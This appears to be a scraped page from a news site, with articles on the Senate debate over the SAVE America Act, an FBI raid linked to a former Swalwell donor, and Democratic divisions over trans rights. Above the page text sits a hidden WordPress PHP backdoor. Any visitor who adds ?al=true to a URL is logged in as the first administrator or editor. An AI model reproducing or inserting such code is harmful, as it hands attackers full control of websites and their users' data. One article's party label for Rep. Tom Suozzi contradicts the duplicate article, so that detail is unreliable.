// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); The Senate’s marathon elections debate is dividing Republicans, not Democrats – Blue Light News
Connect with us

Congress

The Senate’s marathon elections debate is dividing Republicans, not Democrats

Published

on

Senate Republicans want to use their party-line elections bill as a cudgel against Democrats. They need to stop sparring with each other first.

Republicans kicked off debate Tuesday on the SAVE America Act, a House-passed bill that would create new proof-of-citizenship and photo ID requirements in order for Americans to participate in federal elections. In a bid to pacify House and Senate conservatives, a fervent base flooding their social media mentions and even President Donald Trump — who views the legislation as his “No. 1 priority” — Senate Republicans are expected to spend days, if not weeks, discussing the legislation.

The chances the push will succeed in passing the bill, which Democrats uniformly oppose, are miniscule. And it’s not at all clear that spending two weeks on the bill will be enough to quell what has been an intense GOP-on-GOP pressure campaign that has sucked up much of the focus in the weeks leading up to Tuesday’s vote.

“We’ll find out, you know?” Senate Majority Leader John Thune said when asked if he knew if it would be enough to satisfy Trump, who has repeatedly urged Republicans to skirt the 60-vote filibuster to pass the bill. “What I promised from the very beginning is we’ll get it up and we will have a vote. I can’t guarantee the result.”

He added that Trump and others also “want us to nuke the legislative filibuster in order to do it, and that’s also something I’ve been very clear about — there just aren’t the votes.”

Spending more than a week of floor time on a bill that is all but guaranteed to fail isn’t typically how the Senate operates. Usually, to show legislation supported by their own party can’t clear the chamber’s supermajority threshold, Senate leaders quickly move to end debate and prove it can’t get 60 votes.

But Senate Republicans are under intense pressure to show that they are fighting Democrats for “election integrity” — an issue they believe polls well for them but appears to be causing little heartburn for Democrats so far. Some believe forcing a “talking filibuster” where opponents have to hold the floor indefinitely will force the opposition to cave.

Democratic senators shrugged off the strategy Tuesday, vowing that no matter how long Republicans drag out the debate, there is no way the election bill can garner 60 Senate votes.

“If MAGA Republicans want to bog down the Senate over a debate on voter suppression, Democrats are ready. We’re ready to be here all day, all night, as long as it takes,” Senate Minority Leader Chuck Schumer told reporters. “Senate Democrats will never let this rotten bill move through this body.”

Sen. Chris Murphy (D-Conn.) said in an interview that Democrats will “spend the next two weeks painting them as totally out of touch.”

The Senate is expected to stay in session late into the night and into the weekend as senators hammer each other over the bill. Thune has been careful not to outline a date certain for the end of the debate, and both parties expect the process to eat up much of the next week and a half.

Sen. Tim Kaine (D-Va.) predicted “late nights with us having folks on the floor as long as Republicans do … being ready for procedural motions that we’ll have to respond to in real time.”

Democrats have filed dozens of amendments to the bill, including requiring proof of citizenship to purchase an assault weapon, restoring lapsed Obamacare tax credits and tying the bill’s implementation date to the price of gas. But unlike a true “talking filibuster,” where they would be able to offer those amendments and force Republicans to take politically uncomfortable votes, Thune took steps Tuesday to keep tight control of the debate by calling up a series of Republican amendments.

Both parties have procedural curveballs they could throw. If no one is speaking, Republicans could try to move immediately to a final vote on the bill at a simple majority, while Democrats could try to adjourn or set the bill aside altogether. They are likely to pause the debate later this week by forcing a privileged vote on a resolution limiting Trump’s ability to take military action in Iran without congressional approval.

But those actions appear destined to fall short of the hardball tactics demanded by the party’s MAGA wing, including Sen. Mike Lee (R-Utah) — who is clamoring for the Senate to stay in session until Democrats capitulate. And even some of Lee’s allies are starting to acknowledge the bill is barreling toward a 60-vote hurdle that it can’t clear.

“If we do not act on an issue that commands this level of support … we should not be surprised when the American people lose confidence in our willingness to fight for them,” Lee told fellow Republicans from the Senate floor Tuesday night.

The initial hours of debate Tuesday were nothing out of the ordinary. Senators agreed unanimously to structure the debate, rotating which party had time to speak about the bill. There were long stretches of floor silence as the evening wore into night, and the chamber adjourned as it typically does at the end of the day. The Senate won’t come back into session until noon Wednesday.

Across the Capitol, the hardball tactics weren’t any more effective. Some House Republicans vowed to block any Senate bill to pressure their counterparts into passing the elections overhaul, but two Senate bills already cleared the chamber this week.

Senate Republicans, meanwhile, are struggling to resolve internal divisions. Some of those are tactical, but others are substantive. Sen. Lisa Murkowski of Alaska has declared her opposition to the bill as a federal overreach into traditionally state-run elections. And Trump’s push to largely ban mail-in voting is a fierce point of contention that came up during the GOP’s closed-door lunch Tuesday, according to three attendees granted anonymity to describe the private discussion.

Amid backlash from several GOP senators, Republicans reworked a mail voting amendment with the White House’s blessing to try to assuage concerned members. The change includes a state-defined “hardship” exemption from in-person voting, according to a copy of the updated proposal obtained by Blue Light News. The amendment is expected to get a vote as part of the Senate’s marathon debate, while internal discussions continue about two other Trump-requested additions: restricting trans women from competing in women’s sports and banning gender-affirming surgeries for minors.

That would still fall short of the talking filibuster demanded by Lee, an army of online supporters and Trump, who spoke with Lee Monday about the bill. The Utah Republican said Monday night, “If your senators don’t support using the talking filibuster to pass the SAVE America Act, you might need to replace them.”

Asked about Lee’s comments, Thune urged his party to redirect their fury.

“I prefer to have our fights with Democrats,” Thune said. “And I’m always someone who believes it’s far better for us to have a majority in the United States Senate.”

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Congress

FBI raids Beverly Hills mansion tied to former Eric Swalwell donor

Published

on

The FBI on Tuesday raided a Los Angeles area mansion connected to Stephen Cloobeck, a billionaire and former Democratic donor who was a close associate of former Rep. Eric Swalwell.

“The FBI is executing a federal search warrant” at the Beverly Hills mansion, which is listed on Cloobeck’s California business filings, a spokesperson for the FBI’s Los Angeles field office said in a statement.

No arrests are planned, and the affidavit for the search warrant remains sealed, the spokesperson said. The FBI search was related to “an ongoing criminal investigation,” a Justice Department spokesperson said in a statement, declining to provide further details.

Cloobeck, a one-time California gubernatorial candidate, dropped his bid and donated more than $1 million to back Swalwell after he declared his candidacy. But he later said he had cut ties with the former lawmaker after sexual assault allegations against Swalwell emerged.

Swalwell resigned from Congress and dropped his gubernatorial bid but has denied the allegations. The Justice Department has launched a criminal investigation into Swalwell that included an FBI search of his Washington home in August, the AP reported at the time.

Cloobeck was arrested in May after Los Angeles County prosecutors charged him with allegedly attempting to impede victim or witness testimony. He was later released on bail and pleaded not guilty to all counts in August.

Cloobeck and his attorney did not immediately respond to requests for comment. A spokesperson for the Los Angeles County Sheriff’s Department said it has not taken part in the FBI’s Tuesday raid.

Continue Reading

Congress

Capitol agenda: Democrats face reckoning on trans issues

Published

on

A potential Democratic majority on Capitol Hill would face a serious split over whether to use its newfound power to protect transgender Americans.


Progressive lawmakers are pushing Democratic leaders to undo President Donald Trump’s attacks on trans people’s health care, participation in athletics and protections against discrimination.

But affordability, not culture war fights, has been the overriding theme of Democrats’ push to retake control of Congress. Many centrists fear any pivot away from that pledge would splinter the party, especially with many Democratic candidates openly rejecting some trans rights initiatives during their campaigns.

“You have to focus on what people care about,” Rep. Tom Suozzi (R-N.Y.) said in an interview. “Right now that’s affordability, and they want some relief. That’s what we should talk about.”

One senior House Democrat serving on House Appropriations, who was granted anonymity to discuss a private conversation, recalled personally asking Minority Leader Hakeem Jeffries not to focus on trans issues or other flashpoints if the party wins the House.

Nearly a dozen lawmakers and advocates, however, argued for a two-pronged approach to protecting trans people: passing legislation to codify certain rights for trans individuals and using committee gavels to probe the Trump administration’s actions.

“We need to have an affirmative platform that protects and expands rights for LGBTQ people,” Sen. Ed Markey (D-Mass.) said in an interview, while the Human Rights Campaign’s Ramiro Sarmiento said Congress “needs to use every tool it has to push back” on Trump.

Jeffries did not respond to a request for comment, but other top Democrats are responding to the conflict between affordability and civil rights by asking: Why not both?

“If we are telling people that we no longer value equality in this country, it’s really hard to build a fair economy,” House Minority Whip Katherine Clark said in an interview. “You can’t silo these issues out.”


What else we’re watching: 

— THE GOP’S SMALL DONOR PROBLEM: The GOP’s cash advantage over Democrats this cycle has been thanks to a small group of megadonors like Elon Musk. But when it comes to the grassroots donor base, there’s a stark contrast between the parties. Small donations through major online platforms have dipped for Republicans since 2022 while they’re up for Democrats by about a third. That’s left vulnerable Republican candidates more reliant on Trump’s campaign war chest and super PACs.

— GOP CLIMATE BLOC FACES WIPEOUT: A midterm blue wave could decimate the cohort of Republicans who advocate for addressing climate change and pursuing clean-energy policies. The Conservative Climate Caucus, a House GOP group that pushes for those policies, could lose up to a third of its members in the midterms, with 11 of 66 membersin tight races and another 15 more retiring. That would shrink the pool of negotiating partners for Democrats as they plan on a renewed push for climate legislation.

Continue Reading

Congress

Democrats’ affordability message collides with calls to defend transgender rights

Published

on

Some Democrats are fired up to use their potential majorities in Congress next year and undo President Donald Trump’s attacks on transgender Americans. Others just want to focus on the cost of gas.

Ahead of the midterms, progressive lawmakers and congressional candidates are clashing with moderates in office and on the campaign trail over whether to pursue a legislative agenda that includes protecting trans people — whose health care, participation in athletics and protections against discrimination have been targeted by the administration.

“We need to have an affirmative platform that protects and expands rights for LGBTQ people,” said Massachusetts Democratic Sen. Ed Markey in an interview.

He is among nearly a dozen lawmakers and advocates who said they want Democrats to pursue a two-pronged approach: pass legislation to codify certain rights for trans individuals, and use committee gavels to compel public testimony from Trump officials on their efforts to undermine protections for trans and nonbinary people.

But the need to tackle affordability, not culture war fights, has been the overriding theme of the Democrats’ push to retake control of Congress. Many Democrats believe that their promise to lower the cost of living will be the reason they win back majorities in the House or the Senate.

Many centrists fear any pivot away from that pledge would splinter a new Democratic majority on Capitol Hill, especially with some candidates openly rejecting some trans rights initiatives during their campaigns.

“You have to focus on what people care about,” Rep. Tom Suozzi (D-N.Y.) said in an interview. “Right now that’s affordability, and they want some relief. That’s what we should talk about.”

Rep. Marc Veasey, a moderate Texas Democrat who is retiring this year, said “cultural issues” including transgender rights are “something we should dive into once [Trump] is gone.”

“The American public is going to want to see our caucus focus on costs as long as he continues to affect the markets negatively with his tariffs and wars,” he said.

Progressive advocacy groups and their Hill allies say they can’t wait. Democrats, they argue, should hold hearings on the DOJ’s decision last summer to subpoena more than 20 doctors and clinics who’ve provided gender-affirming care to obtain potentially patient-identifying information, advocates say, leading some hospitals to stop providing youth gender affirming care.

They also want Democrats to challenge the Education Department’s move last month to officially rescind anti-discrimination protections for transgender students instituted under former President Joe Biden. They’re pushing, too, for an investigation of the Justice Department’s restrictions on gender-affirming care for incarcerated people and policy against placing prisoners in populations consistent with their gender identity — a move which has faced legal challenges.

In terms of legislation, Democrats are sure to encounter limitations so long as long as Trump is in office. The president is opposed to the cornerstone piece of LGBTQ+ advocates’ agenda, the Equality Act, which would amend civil rights laws to explicitly prohibit gender identity discrimination. It might not even have the votes to overcome a Senate filibuster and get to Trump’s desk.

Democrats likewise are sure to run into resistance in trying to attach pro-transgender policies to must-pass legislative vehicles, such as government spending bills or the annual defense policy package. The same goes for any attempts to overrule or modify the administration’s suggested changes to the 2030 Census, which include a proposal to remove questions about sexual orientation.

That reality should not be a deterrent, argued Ramiro Sarmiento, national press secretary at the Human Rights Campaign, a pro-LGBTQ+ civil rights advocacy group.

“Congress needs to use every tool it has to push back against the dismantling of protections at the federal level,” said Sarmiento.

He, along with Ian Thompson, senior legislative advocate at the ACLU, and Tyler Hack, founder and executive director of the Christopher Street Project — a hybrid PAC and nonprofit focused on building support for transgender rights in Congress — said their organizations have already begun preliminary conversations with several Democrats about the moves they could make to reverse or combat anti-trans-rights initiatives by Trump administration.

Those Democrats include longstanding LGBTQ+ rights champions like Markey and Reps. Jamie Raskin of Maryland and Alexandria Ocasio-Cortez of New York, plus progressive candidates like Minnesota’s Peggy Flanagan and New York’s Claire Valdez and Brad Lander.

Hack conceded that trans protection issues are not what “most Americans are thinking about” but added, “Unfortunately, they are the issues that the White House is thinking about, and it’s the responsibility of Congress to be a check on their powers.”

The advocates say Trump’s executive orders and the GOP agenda have had drastic impacts on transgender Americans and their families, including by limiting their access to health care and identification documents that reflect their gender identity. It’s led some families with trans children to make plans to leave the country.

“I believe our role in Congress is to stand up for the little guys who are being picked on by bullies like Donald Trump and the Republicans,” Markey said about Democrats’ obligations.

They’re going up against Democrats who want nothing to do with any transgender-related fight as Republicans pummel their party for being out of touch and “woke.” GOP ads in nearly every battleground race have targeted their Democratic opponents over their party’s support for trans rights.

That has prompted numerous Democrats to run rebuttal ads, such as veteran Ohio Rep. Marcy Kaptur’s recent spot stating “boys should not play in girls’ sports.”

Alaska Democratic Senate nominee Mary Peltola told voters at a recent campaign event her “hope is that we don’t have to spend one second on a conversation about trans anything” in the next Congress, according to a Washington Sun report.

One senior House Democrat, who was granted anonymity to discuss a private conversation, recalled personally asking Minority Leader Hakeem Jeffries not to focus on trans issues or other culture war flashpoints if the party wins the House.

Jeffries and Senate Minority Leader Chuck Schumer did not respond to requests for comment on their plans for tackling trans-related issues in the coming Congress.

Advocates argue that issues of gender identity and equality are, in fact, pocketbook issues and cannot be simply shunted aside.

“When you are putting in place, for example, policies that say that you can’t get a driver’s license that accurately reflects who you are, or that you can’t use a public restroom, what you are telling people is they can’t work, they can’t hold a job or participate in the public life of our country,” the ACLU’s Thompson said. “Those have very significant economic consequences.”

Several senior House Democrats — Minority Whip Katherine Clark, the No. 2 leader, Rep. Ted Lieu of California, the No. 4 leader, and Rep. Jim McGovern of Massachusetts, the top Rules Committee Democrat — said much the same in interviews.

“If we are telling people that we no longer value equality in this country, it’s really hard to build a fair economy,” Clark said. “You can’t silo these issues out.”

Riley Rogerson and Meredith Lee Hill contributed to this report.

Continue Reading

Trending